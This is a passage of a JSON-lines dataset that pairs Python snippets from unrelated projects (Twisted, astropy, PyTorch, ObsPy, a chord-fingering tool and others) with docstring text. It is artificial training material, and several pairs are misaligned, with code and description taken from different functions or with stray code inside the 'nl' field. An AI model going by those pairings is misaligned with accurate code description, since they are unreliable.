test_rawDataReceivedNotImplemented(self):\n proto = basic.LineReceiver()\n self.assertRaises(NotImplementedError, proto.rawDataReceived, 'foo')\n\n", "nl": "When L{LineReceiver.rawDataReceived} is not overridden in asubclass, calling it raises C{NotImplementedError}."} {"code": "def pyregion_subset(region, data, mywcs):\n import pyregion\n\n shapelist = pyregion.ShapeList([region])\n if shapelist[0].coord_format not in ('physical', 'image'):\n celhdr = mywcs.sub([wcs.WCSSUB_CELESTIAL]).to_header()\n pixel_regions = shapelist.as_imagecoord(celhdr)\n else:\n raise NotImplementedError(\"Can't use non-celestial coordinates \"\n \"with regions.\")\n pixel_regions = shapelist\n\n mpl_objs = pixel_regions.get_mpl_patches_texts()[0]\n\n extent = mpl_objs[0].get_extents()\n xlo, ylo = extent.min\n xhi, yhi = extent.max\n all_extents = [obj.get_extents() for obj in mpl_objs]\n for ext in all_extents:\n xlo = int(np.round(xlo if xlo < ext.min[0] else ext.min[0]))\n ylo = int(np.round(ylo if ylo < ext.min[1] else ext.min[1]))\n xhi = int(np.round(xhi if xhi > ext.max[0] else ext.max[0]))\n yhi = int(np.round(yhi if yhi > ext.max[1] else ext.max[1]))\n\n log.debug(\"Region boundaries: \")\n log.debug(\"xlo={xlo}, ylo={ylo}, xhi={xhi}, yhi={yhi}\".format(xlo=xlo,\n ylo=ylo,\n xhi=xhi,\n yhi=yhi))\n\n subwcs = mywcs[int(ylo):int(yhi), int(xlo):int(xhi)]\n subhdr = subwcs.sub([wcs.WCSSUB_CELESTIAL]).to_header()\n subdata = data[int(ylo):int(yhi), int(xlo):int(xhi)]\n\n mask = shapelist.get_mask(header=subhdr,\n shape=subdata.shape)\n log.debug(\"Shapes: data={0}, subdata={2}, mask={1}\"\n .format(data.shape, mask.shape, subdata.shape))\n return (xlo, xhi, ylo, yhi), mask\n\n", "nl": "Return a subset of an image (``data``) given a region.Parameters----------region : `~pyregion.Shape`A Shape from a pyregion-parsed region filedata : np.ndarrayAn array with shape described by WCSmywcs : `astropy.wcs.WCS`A world coordinate system describing the data"} {"code": "def filter_by_field_name(self, name: str) -> List[ValidatorFieldMap]:\n\n return [mapping for mapping in self.mappings\n if mapping.field_name in (name, ASTERISK_FIELD_NAME)]\n\n\nclass SchemaInspector(BaseInspectionComposite):\n \"\"\"Provide namespace for inspection methods for general properties of\n\n @property", "nl": "Return mappings for given field `name`."} {"code": "def _get_rec_keys(self, key_templ):\n self.access.assert_can_read_coll(self)\n\n key_pattern = key_templ.format(rec='*')\n\n\n recs = self.recs.get_keys()\n\n return [key_pattern.replace('*', rec) for rec in recs]\n", "nl": "Return recording Redis keys.:param str key_templ: Redis key template:returns: recording Redis keys:rtype: list"} {"code": "def title(self):\n return asarray(title(self))\n", "nl": "For each element in `self`, return a titlecased version of thestring: words start with uppercase characters, all remaining casedcharacters are lowercase.See also--------char.title"} {"code": "def si16le(c, o=0):\n return unpack_from(\" HttpResponse:\n value, _ = extract_value(request.POST)\n return _set_extension_enabled(\"spotify\", strtobool(value))\n\n\n@control", "nl": "Enables or disables spotify to be used as a song provider.Makes sure mopidy has correct spotify configuration."} {"code": "def to_json_string(self):\n with open(json_file_path, \"w\", encoding='utf-8') as writer:\n writer.write(self.to_json_string())\n\ntry:\n from apex.normalization.fused_layer_norm import FusedLayerNorm as BertLayerNorm\nexcept ImportError:\n logger.info(\"Better speed can be achieved with apex installed from https://www.github.com/nvidia/apex .\")\n class BertLayerNorm(nn.Module):", "nl": "Serializes this instance to a JSON string.return json.dumps(self.to_dict(), indent=2, sort_keys=True) + \"\\n\"def to_json_file(self, json_file_path): Save this instance to a json file."} {"code": "def query_collision_partner(self, col_event, obj):\n if type(col_event) is not dict or type(obj) is not int:\n return 'error'\n if col_event['type'] != 'collision':\n return 'error'\n if obj not in col_event['object']:\n return 'error'\n col_objs = col_event['object']\n if obj == col_objs[0]:\n return col_objs[1]\n else:\n return col_objs[0]\n", "nl": "Return the collision partner of the input object- args: col_event(dict), obj(int)- return: obj(int)"} {"code": "def data_parallel(module, inputs, device_ids=None, output_device=None, dim=0, module_kwargs=None):\n if not isinstance(inputs, tuple):\n inputs = (inputs,)\n\n if device_ids is None:\n device_ids = list(range(torch.cuda.device_count()))\n\n if output_device is None:\n output_device = device_ids[0]\n\n inputs, module_kwargs = scatter_kwargs(inputs, module_kwargs, device_ids, dim)\n if len(device_ids) == 1:\n return module(*inputs[0], **module_kwargs[0])\n used_device_ids = device_ids[:len(inputs)]\n replicas = replicate(module, used_device_ids)\n outputs = parallel_apply(replicas, inputs, module_kwargs, used_device_ids)\n return gather(outputs, output_device, dim)\n\n", "nl": "rEvaluates module(input) in parallel across the GPUs given in device_ids.This is the functional version of the DataParallel module.Args:module: the module to evaluate in parallelinputs: inputs to the moduledevice_ids: GPU ids on which to replicate moduleoutput_device: GPU location of the output Use -1 to indicate the CPU.(default: device_ids[0])Returns:a Variable containing the result of module(input) located onoutput_device"} {"code": "def generate(self, filepath=None, hformat=None, last_timestamp=None):\n df = self._generate_df(last_timestamp=last_timestamp)\n chat = WhatsAppChat(df)\n if filepath:\n chat.to_txt(filepath=filepath, hformat=hformat)\n return chat\n\n", "nl": "Generate random chat as :func:`WhatsAppChat `.Args:filepath (str): If given, generated chat is saved with name ``filepath`` (must be a local path).hformat (str, optional): :ref:`Format of the header `, e.g.``'[%y-%m-%d %H:%M:%S] - %name:'``.last_timestamp (datetime, optional): Datetime of last message. If `None`, defaults to current date.Returns:WhatsAppChat: Chat with random messages... seealso::* :func:`WhatsAppChat.to_txt `"} {"code": "def remove_from_list(l, item):\n idx = l.index(item)\n item = l.pop(idx)\n return (idx, item)\n\n", "nl": "Remove the first occurence of `item` from list `l` and return a tuple ofthe index that was removed and the element that was removed.Raises:ValueError : If `item` is not in `l`."} {"code": "def invalidate(self, context):\n self._http.unregister(None, self._servlet)\n\n super(XmlRpcServiceExporter, self).invalidate(context)\n\n self._servlet = None\n\n\n\n\nclass _ServiceCallProxy(object):\n \"\"\"\n", "nl": "Component invalidated"} {"code": "def check_to(self, to_jid):\n if to_jid != self.me:\n return None\n return to_jid\n", "nl": "Check \"to\" attribute of received stream header.:return: `to_jid` if it is equal to `self.me`, None otherwise.Should be overriden in derived classes which require other logicfor handling that attribute."} {"code": "def prepare_image_transforms(element, image_columns):\n import base64\n import cStringIO\n from PIL import Image\n from tensorflow.python.lib.io import file_io as tf_file_io\n from apache_beam.metrics import Metrics\n\n img_error_count = Metrics.counter('main', 'ImgErrorCount')\n img_missing_count = Metrics.counter('main', 'ImgMissingCount')\n\n for name in image_columns:\n uri = element[name]\n if not uri:\n img_missing_count.inc()\n continue\n try:\n with tf_file_io.FileIO(uri, 'r') as f:\n img = Image.open(f).convert('RGB')\n\n except Exception as e:\n logging.exception('Error processing image %s: %s', uri, str(e))\n img_error_count.inc()\n return\n\n output = cStringIO.StringIO()\n img.save(output, 'jpeg')\n element[name] = base64.urlsafe_b64encode(output.getvalue())\n\n return element\n\n\nclass EmitAsBatchDoFn(beam.DoFn):\n \"\"\"A DoFn that buffers the records and emits them batch by batch.\"\"\"", "nl": "Replace an images url with its jpeg bytes.Args:element: one input row, as a dictimage_columns: list of columns that are image pathsReturn:element, where each image file path has been replaced by a base64 image."} {"code": "def plt_skeleton(self, img, tocopy = True, debug = False, sess = None):\n\t\tjoints = self.joints_pred(np.expand_dims(img, axis = 0), coord = 'img', debug = False, sess = sess)\n\t\tif tocopy:\n\t\t\timg = np.copy(img)\n\t\tfor i in range(len(self.links)):\n\t\t\tposition = self.givePixel(self.links[i]['link'],joints)\n\t\t\tcv2.line(img, tuple(position[0])[::-1], tuple(position[1])[::-1], self.links[i]['color'][::-1], thickness = 2)\n\t\tif tocopy:\n\t\t\treturn img\n", "nl": " Given an Image, returns Image with plotted limbs (TF VERSION)Args:img \t: Source Image shape = (256,256,3)tocopy \t: (bool) False to write on source image / True to return a new arraydebug\t: (bool) for testing puposessess\t: KEEP NONE"} {"code": "def __init__(self, **kwargs: Any) -> None:\n Model.__init__(self, **kwargs)\n", "nl": "Initialize dialogues.:param kwargs: keyword arguments"} {"code": "def __init__(self, image_dict, opt):\n self.image_dict = image_dict\n self.dataset_name = opt.dataset\n self.batch_size = opt.bs\n self.samples_per_class = opt.samples_per_class\n for sub in self.image_dict:\n newsub = []\n for instance in self.image_dict[sub]:\n newsub.append((sub, instance))\n self.image_dict[sub] = newsub\n\n self.avail_classes = [*self.image_dict]\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],std=[0.229, 0.224, 0.225])\n transf_list = []\n\n\n transf_list.extend([\n transforms.RandomResizedCrop(size=224) if opt.arch in ['resnet50', 'resnet50_mcn'] else transforms.RandomResizedCrop(size=227),\n transforms.RandomHorizontalFlip(0.5)])\n transf_list.extend([transforms.ToTensor(), normalize])\n self.transform = transforms.Compose(transf_list)\n\n self.reshuffle()\n\n", "nl": "Args:image_dict: two-level dict, `super_dict[super_class_id][class_id]` gives the list ofimage paths having the same super-label and class label"} {"code": "def cond(*_):\n input_q = tf.zeros_like(inp, dtype=tf.float32)\n inp = tf.pad(inp, tf.convert_to_tensor(\n [[0, 1], [0, 0]]), constant_values=0)\n inp_mask = tf.pad(inp_mask, tf.convert_to_tensor(\n [[0, 1], [0, 0]]), constant_values=0)\n seg_id = tf.pad(seg_id, tf.convert_to_tensor(\n [[0, 1], [0, 0]]), constant_values=0)\n col = tf.ones(tf.shape(perm_mask)[0:1], dtype=tf.float32)\n perm_mask = tf.concat([perm_mask, col[:, None, None]], axis=1)\n row = tf.concat([tf.zeros(tf.shape(perm_mask)[1:2] - 1, dtype=tf.float32),\n tf.ones([1], dtype=tf.float32)], axis=0)\n perm_mask = tf.concat([perm_mask, row[None, :, None]], axis=0)\n input_q = tf.pad(input_q, tf.convert_to_tensor(\n [[0, 1], [0, 0]]), constant_values=1)\n\n return inp[1:], inp_mask[1:], perm_mask[1:, 1:], input_q[1:], seg_id[1:]\n", "nl": "Dummy condition since we stop based on iterationreturn Truedef recalc(inp, inp_mask, seg_id, perm_mask):Augment the inputs for the new token. Appends 1 row or columns accordingly"} {"code": "def set_value(self, value):\n if not self._guard & VALUE_FLAG:\n self._guard |= VALUE_FLAG\n try:\n self.widget.setValue(value)\n finally:\n self._guard &= ~VALUE_FLAG\n", "nl": " Set the value of the underlying widget."} {"code": "def __contains__(self, item: Union[str, Dict[str, Union[List[str], str]]]) -> bool:\n if len(self._bag) == 0:\n return False\n\n if isinstance(item, str):\n return item in self._bag\n\n target_key, target_value = item.popitem()\n target_key = normalize_str(target_key)\n\n for i in range(0, len(self)):\n key, value = self[i]\n\n if target_key == key and target_value == value:\n return True\n\n return False\n\n @property", "nl": "Verify if a member/attribute/value is in an Attributes instance. See examples bellow :>>> attributes = Attributes([\"application/xml\", \"q=0.9\", \"q=0.1\"])>>> \"q\" in attributesTrue>>> {\"Q\": \"0.9\"} in attributesTrue>>> \"z\" in attributesFalse>>> {\"Q\": \"0.2\"} in attributesFalse"} {"code": "def test_anonymous_user_read_given_helpingmaterial_draft_project(self):\n\n project = ProjectFactory.create(published=False)\n helpingmaterial = HelpingMaterialFactory.create(project_id=project.id)\n\n assert_raises(Unauthorized, ensure_authorized_to,\n 'read', helpingmaterial)\n\n @with_context\n @patch('pybossa.auth.current_user', new=mock_anonymous)", "nl": "Test anonymous users cannot read a given helpingmaterial ofa draft project"} {"code": "def observed_data_to_xarray(self):\n constant_data_vars = {}\n for var in self.model.deterministics:\n if hasattr(self.aesara, \"gof\"):\n ancestors_func = self.aesara.gof.graph.ancestors\n else:\n ancestors_func = self.aesara.graph.basic.ancestors\n ancestors = ancestors_func(var.owner.inputs)\n if not any((isinstance(a, self.pymc3.model.PyMC3Variable) for a in ancestors)):\n constant_data_vars[var.name] = var\n", "nl": "Convert observed data to xarray.if self.predictions:return Nonedims = {} if self.dims is None else self.dimsobserved_data = {}for name, vals in {**self.observations, **self.multi_observations}.items():if hasattr(vals, \"get_value\"):vals = vals.get_value()vals = utils.one_de(vals)val_dims = dims.get(name)val_dims, coords = generate_dims_coords(vals.shape, name, dims=val_dims, coords=self.coords)# filter coords based on the dimscoords = {key: xr.IndexVariable((key,), data=coords[key]) for key in val_dims}observed_data[name] = xr.DataArray(vals, dims=val_dims, coords=coords)return xr.Dataset(data_vars=observed_data, attrs=make_attrs(library=self.pymc3))@requires([\"trace\", \"predictions\"])@requires(\"model\")def constant_data_to_xarray(self):Convert constant data to xarray."} {"code": "def test_refresh_custom_pkey(self):\n a = Article()\n self.engine.sync(a)\n tablename = a.meta_.ddb_tablename(self.engine.namespace)\n results = list(self.dynamo.scan(tablename))\n self.assertEquals(len(results), 1)\n result = dict(results[0])\n self.assertEquals(result, {\n 'title': a.title,\n })\n", "nl": " Refresh works when model declares custom Primary Key p = CustomPkey('key', text='foo')self.engine.save(p)p2 = self.engine.scan(CustomPkey).first()p.text = 'bar'p.sync()p2.refresh()self.assertEquals(p2.text, p.text)def test_sync_blank(self): Sync creates item even if only primary key is set "} {"code": "def __setitem__(self, key, value):\n pass\n", "nl": "Set key with value.pass # pragma: no cover@abstractmethoddef __delitem__(self, key):Remove key from database."} {"code": "def docmd(self, cmd, args=\"\"):", "nl": "Send a command, and return its response code.self.putcmd(cmd, args)return self.getreply()# std smtp commandsdef helo(self, name=''):SMTP 'helo' command."} {"code": "def __init__(self, cache, model, pks):\n for pk in self.pks:\n yield PkOnlyModel(self.cache, self.model, pk)\n", "nl": "Initialize PkOnlyQueryset.self.cache = cacheself.model = modelself.pks = pksdef __iter__(self):Return PkOnlyModels for each pk."} {"code": "def lineNumbersDefault(val):\n ret = libxml2mod.xmlLineNumbersDefault(val)\n return ret\n", "nl": "Set and return the previous value for enabling line numbersin elements contents. This may break on old application andis turned off by default. "} {"code": "def _evaluate_distance(self) -> np.ndarray:\n idx = np.random.permutation(np.arange(self.n_walkers, dtype=int))\n obs = np.array(self.obs)\n dist = np.sqrt(np.sum((obs[idx] - obs) ** 2, axis=tuple(range(1, len(obs.shape)))))\n space_dist = normalize_vector(dist)\n\n return space_dist\n", "nl": "Calculates the euclidean distance between pixels of two different imageson a vector of swarm, and normalizes the relative distances between 1 and 2.In a more general scenario, any function that quantifies the notion of \"how different twoswarm are\" could work, even though it is not a proper distance."} {"code": "def area_of(left_top, right_bottom):\n hw = np.clip(right_bottom - left_top, 0.0, None)\n return hw[..., 0] * hw[..., 1]\n", "nl": "Compute the areas of rectangles given two corners.Args:left_top (N, 2): left top corner.right_bottom (N, 2): right bottom corner.Returns:area (N): return the area."} {"code": "def setcontext(context):\n\n Uses a copy of the current context if no context is specified\n The returned context manager creates a local decimal context\n in a with statement:", "nl": "Set this thread's context to context.if context in (DefaultContext, BasicContext, ExtendedContext):context = context.copy()context.clear_flags()_current_context_var.set(context)del contextvars # Don't contaminate the namespacedef localcontext(ctx=None):Return a context manager for a copy of the supplied context"} {"code": "def calc_scale_notes():\n\tfilter_constraint = {'FULL_CHORD':(\"R b3 3\n\tinstrumentType = instrument_type()\n\tif not filters:\n\t\treturn fingerings\n\tfiltered = []\n\ttemp_fingerings = fingerings\n\tif 'FULL_CHORD' in filters:\n\t\tfor fingering in temp_fingerings:\n\t\t\tnotes,numNotes = filter_constraint['FULL_CHORD']\n\t\t\tif len(set(fingering[1]).intersection(notes)) == numNotes:\n\t\t\t\tfiltered.append(fingering)\n\t\ttemp_fingerings = filtered\n\n\tfiltered = []\n\tif 'NO_DEAD' in filters :\n\t\tfor fingering in temp_fingerings:\n\t\t\tif 'X' not in fingering[1]:\n\t\t\t\tfiltered.append(fingering)\n\t\ttemp_fingerings = filtered\n\n\tfiltered = []\n\tif 'NO_OPEN' in filters:\n\t\tfor fingering in temp_fingerings:\n\t\t\topen_check = []\n\t\t\tfor string in fingering[0]:\n\t\t\t\topen_check.append(string[3])\n\t\t\tif 'O' not in open_check:\n\t\t\t\tfiltered.append(fingering)\n\t\ttemp_fingerings = filtered\n\n\tfiltered = []\n\tif 'HIGH_4' in filters:\n\t\tfor fingering in temp_fingerings:\n\t\t\tvalidChord = True\n\t\t\tfor i,string in enumerate(fingering[0]):\n\t\t\t\tif i in [0,1]:\n\t\t\t\t\tif string[3] != 'X':\n\t\t\t\t\t\tvalidChord = False\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tif string[3] == 'X':\n\t\t\t\t\t\tvalidChord = False\n\t\t\t\t\t\tbreak\n\t\t\tif validChord:\n\t\t\t\tfiltered.append(fingering)\n\t\ttemp_fingerings = filtered\n\n\tfiltered = []\n\tif 'LOW_4' in filters:\n\t\tfor fingering in temp_fingerings:\n\t\t\tvalidChord = True\n\t\t\tfor i,string in enumerate(fingering[0]):\n\t\t\t\tif i in [4,5]:\n\t\t\t\t\tif string[3] != 'X':\n\t\t\t\t\t\tvalidChord = False\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tif string[3] == 'X':\n\t\t\t\t\t\tvalidChord = False\n\t\t\t\t\t\tbreak\n\t\t\tif validChord:\n\t\t\t\tfiltered.append(fingering)\n\t\ttemp_fingerings = filtered\n\n\tfiltered = []\n\tif 'HIGH_3' in filters:\n\t\tfor fingering in temp_fingerings:\n\t\t\tvalidChord = True\n\t\t\tfor i,string in enumerate(fingering[0]):\n\t\t\t\tif i == 0:\n\t\t\t\t\tif string[3] != 'X':\n\t\t\t\t\t\tif fingering[1][i] in ['R','\n\t\t\t\t\t\t\tfingering[1][i] = 'X'\n\t\t\t\t\t\t\tfingering[0][i] = (fretboard.nutPosition[i][0],fretboard.nutPosition[i][1],'X','X')\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tvalidChord = False\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tif string[3] == 'X':\n\t\t\t\t\t\tvalidChord = False\n\t\t\t\t\t\tbreak\n\t\t\tif validChord:\n\t\t\t\tfiltered.append(fingering)\n\t\ttemp_fingerings = filtered\n\n\tfiltered = []\n\tif 'LOW_3' in filters:\n\t\tfor fingering in temp_fingerings:\n\t\t\tvalidChord = True\n\t\t\tfor i,string in enumerate(fingering[0]):\n\t\t\t\tif i == 3:\n\t\t\t\t\tif string[3] != 'X':\n\t\t\t\t\t\tif fingering[1][i] in ['R','\n\t\t\t\t\t\t\tfingering[1][i] = 'X'\n\t\t\t\t\t\t\tfingering[0][i] = (fretboard.nutPosition[i][0],fretboard.nutPosition[i][1],'X','X')\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tvalidChord = False\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tif string[3] == 'X':\n\t\t\t\t\t\tvalidChord = False\n\t\t\t\t\t\tbreak\n\t\t\tif validChord:\n\t\t\t\tfiltered.append(fingering)\n\t\ttemp_fingerings = filtered\n\n\tfiltered = []\n\tif 'DOUBLE_STOPS' in filters and instrumentType == 'mandolin':\n\t\tnumStrings = len(fingerings[0][1])\n\t\tfor fingering in temp_fingerings:\n\t\t\tfor i,string in enumerate(fingering[1]):\n\t\t\t\tif i+1 == numStrings:\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tnextString = fingering[1][i+1]\n\t\t\t\tif string == 'X' or nextString == 'X': continue\n\t\t\t\tif string != nextString:\n\t\t\t\t\tfield1 = []\n\t\t\t\t\tfield2 = []\n\t\t\t\t\tfield3 = []\n\t\t\t\t\tj = 0\n\t\t\t\t\twhile j < numStrings:\n\t\t\t\t\t\tif j < i or j > i+1:\n\t\t\t\t\t\t\tfield1.append((fretboard.nutPosition[j][0],fretboard.nutPosition[j][1],'X','X'))\n\t\t\t\t\t\t\tfield2.append('X')\n\t\t\t\t\t\t\tfield3.append(-1)\n\t\t\t\t\t\t\tj += 1\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfor index in [j,j+1]:\n\t\t\t\t\t\t\t\tfield1.append(fingering[0][index])\n\t\t\t\t\t\t\t\tfield2.append(fingering[1][index])\n\t\t\t\t\t\t\t\tfield3.append(fingering[2][index])\n\t\t\t\t\t\t\tj += 2\n\t\t\t\t\tentry = (field1,field2,field3)\n\t\t\t\t\tfiltered.append(entry)\n\t\ttemp_fingerings = filtered\n\n\tfiltered = []\n\tif 'NO_WIDOW' in filters:\n\t\tnumStrings = len(fingerings[0][1])\n\t\tfor fingering in temp_fingerings:\n\t\t\tvalidChord = True\n\t\t\tfor i,string in enumerate(fingering[1]):\n\t\t\t\tif (i == 0 or i == numStrings-1) and string == 'X' :\n\t\t\t\t\tcontinue\n\t\t\t\tif string == 'X':\n\t\t\t\t\tvalidChord = False\n\t\t\t\t\tbreak\n\t\t\tif validChord:\n\t\t\t\tfiltered.append(fingering)\n\t\ttemp_fingerings = filtered\n\tunique = uniqify(temp_fingerings,idfun=(lambda x: fingeringToString(x[2])))\n\treturn unique\n\n", "nl": " calculate the scale notes for the curent key, instrument and scale typeglobal currentStatetry:key = currentState['root']['noteValue']scaleintervals = currentState['scale']['scaleintervals']tuning = currentState['instrument']['notes']instrument = currentState['instrument']except:return# format of the returned data is [[[fret, scalenote, scaletone, octave],.....numer on string# ] length = numStrings# first unpack the scale spacing from the stringintervals = [0]for letter in scaleintervals:if letter == 'S':intervals.append(1)elif letter == 'T':intervals.append(2)else:intervals.append((int(letter)))nextNote = keynotes = [nextNote]for interval in intervals[1:]:nextNote += intervalnotes.append(nextNote % 12)scaleNotes= []for string in tuning:thisString = []for fret in range(fretboard.numFrets+1):note = (fret + string) % 12if note in notes:thisString.append((fret,note))scaleNotes.append(thisString)return scaleNotesdef apply_filters(filters,fingerings): for the current fingerings and filters, return only those chords that apply"} {"code": "def get_tag_decoration(self):\n return self.tag_decoration\n\n\n\"\"\"\n\n\nclass TagBareImageProvider(BareImageProvider):", "nl": "Returns a string that's prepended to docker image tags for imagesbased off of the bare image created by the provider."} {"code": "def bucket(self, bucket):\n if self.local_vars_configuration.client_side_validation and bucket is None:\n raise ValueError(\"Invalid value for `bucket`, must not be `None`\")\n\n self._bucket = bucket\n\n @property", "nl": "Sets the bucket of this V1alpha1S3Artifact.Bucket is the name of the bucket # noqa: E501:param bucket: The bucket of this V1alpha1S3Artifact. # noqa: E501:type: str"} {"code": "def call(self, inputs):\n", "nl": "Calls the layer with the given inputs.if self._use_temporal:input_shape = [tf.shape(inputs)[0],tf.shape(inputs)[1],tf.shape(inputs)[2] * tf.shape(inputs)[3],inputs.shape[4]]else:input_shape = [tf.shape(inputs)[0] * tf.shape(inputs)[1],tf.shape(inputs)[2],tf.shape(inputs)[3],inputs.shape[4]]x = tf.reshape(inputs, input_shape)x = self._conv(x)if self._use_temporal:output_shape = [tf.shape(x)[0],tf.shape(x)[1],tf.shape(inputs)[2],tf.shape(inputs)[3],x.shape[3]]else:output_shape = [tf.shape(inputs)[0],tf.shape(inputs)[1],tf.shape(x)[1],tf.shape(x)[2],x.shape[3]]x = tf.reshape(x, output_shape)return x@tf.keras.utils.register_keras_serializable(package='Vision')class ConvBlock(tf.keras.layers.Layer):A Conv followed by optional BatchNorm and Activation."} {"code": "def __exit__(self, etype, evalue, etrace):\n self.close()\n", "nl": "Context manager exit method, closes the underlying file if it is open."} {"code": "def lookup(media, subtype = None):\n return MIMEtype(media, subtype)\n\nclass MIMEtype(object):\n \"\"\"Class holding data about a MIME type.", "nl": "Get the MIMEtype object for the given type.This remains for backwards compatibility; calling MIMEtype now doesthe same thing.The name can either be passed as one part ('text/plain'), or as two('text', 'plain')."} {"code": "def GetFont(self, root, configType, section):", "nl": "Retrieve a font from configuration (font, font-size, font-bold)Intercept the special value 'TkFixedFont' and substitutethe actual font, factoring in some tweaks if needed forappearance sakes.The 'root' parameter can normally be any valid Tkinter widget.Return a tuple (family, size, weight) suitable for passingto tkinter.Font"} {"code": "def test_slice_policy(self):\n args = XOSProcessorArgs()\n args.inputs = xproto\n args.target = self.target\n\n output = XOSProcessor.process(args)\n\n exec(output)\n\n \"\"\"", "nl": "xproto = policy site_policy exists Privilege: Privilege.object_type = \"Site\" & Privilege.object_id = obj.id & Privilege.accessor_id = ctx.user.id & Privilege.permission_id = \"role:admin\") >policy test_policy Privilege.permission=\"role:admin\"))| (exists Privilege:Privilege.accessor_id = ctx.user.id& Privilege.accessor_type = \"User\"& Privilege.object_type = \"Site\"& Privilege.object_id = obj.site.id& Privilege.permission = \"role:admin\")))>"} {"code": "def get_conf_from_module(mod):\n\n conf = ModuleConfig(CONF_SPEC)\n\n mod = _get_correct_module(mod)\n\n conf.set_module(mod)\n", "nl": "return configuration from module with defaults no worry about None type"} {"code": "def from_word2vec(fname, fvocab=None, binary=False):\n vocabulary = None\n if fvocab is not None:\n logger.info(\"loading word counts from %s\" % (fvocab))\n vocabulary = Embedding.from_word2vec_vocab(fvocab)\n\n logger.info(\"loading projection weights from %s\" % (fname))\n if binary:\n words, vectors = Embedding._from_word2vec_binary(fname)\n else:\n words, vectors = Embedding._from_word2vec_text(fname)\n\n if not vocabulary:\n vocabulary = OrderedVocabulary(words=words)\n\n return Embedding(vocabulary=vocabulary, vectors=vectors)\n\n @staticmethod", "nl": "Load the input-hidden weight matrix from the original C word2vec-tool format.Note that the information stored in the file is incomplete (the binary tree is missing),so while you can query for word similarity etc., you cannot continue trainingwith a model loaded this way.`binary` is a boolean indicating whether the data is in binary word2vec format.Word counts are read from `fvocab` filename, if set (this is the file generatedby `-save-vocab` flag of the original C tool)."} {"code": "def __init__(self, waiter_config):\n self._waiter_config = waiter_config['waiters']\n\n version = waiter_config.get('version', 'unknown')\n self._verify_supported_version(version)\n self.version = version\n self.waiter_names = list(sorted(waiter_config['waiters'].keys()))\n", "nl": "Note that the WaiterModel takes ownership of the waiter_config.It may or may not mutate the waiter_config. If this is a concern,it is best to make a copy of the waiter config before passing it tothe WaiterModel.:type waiter_config: dict:param waiter_config: The loaded waiter configfrom the *.waiters.json file. This can beobtained from a botocore Loader object as well."} {"code": "def test_read_seed_metainformation(self):\n filename = os.path.join(self.data_path, \"dataless.seed.BW_ROTZ\")\n inv = obspy.read_inventory(filename)\n\n self.assertEqual(len(inv), 1)\n self.assertEqual(len(inv[0]), 1)\n self.assertEqual(len(inv[0][0]), 3)\n\n network = inv[0]\n self.assertEqual(network.code, \"BW\")\n self.assertEqual(network.description, \"BayernNetz\")\n\n station = inv[0][0]\n self.assertEqual(station.code, \"ROTZ\")\n self.assertAlmostEqual(station.latitude, 49.766899)\n self.assertAlmostEqual(station.longitude, 12.207)\n self.assertAlmostEqual(station.elevation, 430.0)\n self.assertEqual(station.site.name, \"Rotzenmuhle,Bavaria, BW-Net\")\n self.assertEqual(station.start_date,\n obspy.UTCDateTime(\"2006-06-04T00:00:00.000000Z\"))\n self.assertEqual(station.end_date, None)\n\n channel = inv[0][0][0]\n self.assertEqual(channel.code, \"EHZ\")\n self.assertEqual(channel.location_code, \"\")\n self.assertAlmostEqual(channel.latitude, 49.766899)\n self.assertAlmostEqual(channel.longitude, 12.207)\n self.assertAlmostEqual(channel.elevation, 430.0)\n self.assertAlmostEqual(channel.depth, 0.0)\n self.assertEqual(channel.azimuth, 0.0)\n self.assertEqual(channel.dip, -90.0)\n self.assertEqual(channel.start_date,\n obspy.UTCDateTime(\"2006-06-04T00:00:00.000000Z\"))\n self.assertEqual(channel.end_date, None)\n self.assertEqual(channel.sample_rate, 200.0)\n self.assertEqual(channel.sensor.type,\n \"Streckeisen STS-2/N seismometer\")\n resp = channel.response\n self.assertEqual(resp.instrument_sensitivity.input_units, \"M/S\")\n self.assertEqual(resp.instrument_sensitivity.input_units_description,\n \"Velocity in Meters per Second\")\n self.assertEqual(resp.instrument_sensitivity.output_units, \"COUNTS\")\n self.assertEqual(resp.instrument_sensitivity.output_units_description,\n \"Digital Counts\")\n\n channel = inv[0][0][1]\n self.assertEqual(channel.code, \"EHN\")\n self.assertEqual(channel.location_code, \"\")\n self.assertAlmostEqual(channel.latitude, 49.766899)\n self.assertAlmostEqual(channel.longitude, 12.207)\n self.assertAlmostEqual(channel.elevation, 430.0)\n self.assertAlmostEqual(channel.depth, 0.0)\n self.assertEqual(channel.azimuth, 0.0)\n self.assertEqual(channel.dip, 0.0)\n self.assertEqual(channel.start_date,\n obspy.UTCDateTime(\"2006-06-04T00:00:00.000000Z\"))\n self.assertEqual(channel.end_date, None)\n self.assertEqual(channel.sample_rate, 200.0)\n self.assertEqual(channel.sensor.type,\n \"Streckeisen STS-2/N seismometer\")\n resp = channel.response\n self.assertEqual(resp.instrument_sensitivity.input_units, \"M/S\")\n self.assertEqual(resp.instrument_sensitivity.input_units_description,\n \"Velocity in Meters per Second\")\n self.assertEqual(resp.instrument_sensitivity.output_units, \"COUNTS\")\n self.assertEqual(resp.instrument_sensitivity.output_units_description,\n \"Digital Counts\")\n\n channel = inv[0][0][2]\n self.assertEqual(channel.code, \"EHE\")\n self.assertEqual(channel.location_code, \"\")\n self.assertAlmostEqual(channel.latitude, 49.766899)\n self.assertAlmostEqual(channel.longitude, 12.207)\n self.assertAlmostEqual(channel.elevation, 430.0)\n self.assertAlmostEqual(channel.depth, 0.0)\n self.assertEqual(channel.azimuth, 90.0)\n self.assertEqual(channel.dip, 0.0)\n self.assertEqual(channel.start_date,\n obspy.UTCDateTime(\"2006-06-04T00:00:00.000000Z\"))\n self.assertEqual(channel.end_date, None)\n self.assertEqual(channel.sample_rate, 200.0)\n self.assertEqual(channel.sensor.type,\n \"Streckeisen STS-2/N seismometer\")\n resp = channel.response\n self.assertEqual(resp.instrument_sensitivity.input_units, \"M/S\")\n self.assertEqual(resp.instrument_sensitivity.input_units_description,\n \"Velocity in Meters per Second\")\n self.assertEqual(resp.instrument_sensitivity.output_units, \"COUNTS\")\n self.assertEqual(resp.instrument_sensitivity.output_units_description,\n \"Digital 